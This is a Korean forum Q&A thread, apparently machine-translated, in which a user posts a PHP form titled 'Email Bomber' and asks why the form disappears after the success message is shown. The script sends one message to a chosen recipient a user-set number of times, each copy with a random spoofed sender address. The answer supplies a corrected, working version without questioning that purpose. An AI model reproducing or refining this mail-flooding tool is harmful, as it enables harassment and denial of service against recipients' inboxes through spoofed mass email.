2013-02-09 2 views
0

어떤 이유로이 스크립트는 "IT WORKED!"라는 메시지가 표시되는 지점까지 실행될 때마다 메시지가 표시되지만 위의 양식은 사라집니다. 에코 할 때 양식 유지

내 코드 :

<?php 

    $message = $_REQUEST['message']; 
    $email  = $_REQUEST['email']; 
    $times  = $_REQUEST['times']; 
    $subject = $_REQUEST['subject']; 
    $to   = $_REQUEST['to']; 

    for ($i=1; $i<=$times; $i++) { 
     mail("$to", "$subject", $message, "From:" . rand() . "@$email") ; 
    } 

?> 

    <form method="POST" id="email"> 

     <h1>Email Bomber</h1> 

     <fieldset id="inputs"> 
      <input name="times" type="text" placeholder="How Many Emails" autofocus required> 
      <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
      <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
      <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
      <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea> 
     </fieldset> 

     <fieldset id="actions"> 
      <input type="submit" id="submit" name="Send" value="Send Email"> 
     </fieldset> 
    </form> 

    <?php 

     if (isset($_REQUEST['message'])) { 

      echo "IT WORKED!"; 

     } 

    ?> 
+0

이 스크립트의 전체 내용이거나, 다른 페이지에 삽입 되었습니까? 당신은 이것에 게시하고 있습니까? –

+0

스타일 시트 외에도이 모든 것이 있습니다. 그리고 네, 데이터를 검색하기 위해 REQUESTS 명령으로 POST를 사용하고 있습니다. – JakeRasinSmith

+0

그래서이 스크립트가 삽입 된 HTML 페이지가 있습니까? –

답변

0

은 다음과 같아야합니다

PHP 코드 :

<?php 
if (isset($_REQUEST['Send'])) { 

$message = $_REQUEST['message']; 
$email  = $_REQUEST['email']; 
$times  = $_REQUEST['times']; 
$subject = $_REQUEST['subject']; 
$to   = $_REQUEST['to']; 

for ($i=1; $i<=$times; $i++) { 
    mail("$to", "$subject", $message, "From:" . rand() . "@$email") ; 
} 

echo "IT WORKED!"; 
} 
?> 

HTML :

<form method="POST" id="email" action="#"> 

    <h1>Email Bomber</h1> 

    <fieldset id="inputs"> 
     <input name="times" type="text" placeholder="How Many Emails" autofocus required> 
     <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
     <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
     <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
     <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea> 
    </fieldset> 

    <fieldset id="actions"> 
     <input type="submit" id="submit" name="Send" value="Send Email"> 
    </fieldset> 
</form> 
+0

어떻게하면 "IT WORKED!" 양식 아래의 텍스트? – JakeRasinSmith

+0

내가 메일을 보낼 때이 메시지를 표시하고 싶습니다. 맞습니까? –

+0

당신이 말한 것을 정말로 이해하지 못했습니다. 내가하고 싶은 일은 양식을 채울 때 텍스트를 쓰는 단계입니다. 텍스트가 "IT WORKED!"였습니다. 표시됩니다, 나는 성공 형식의 메시지로 양식 아래에 갖고 싶습니다. – JakeRasinSmith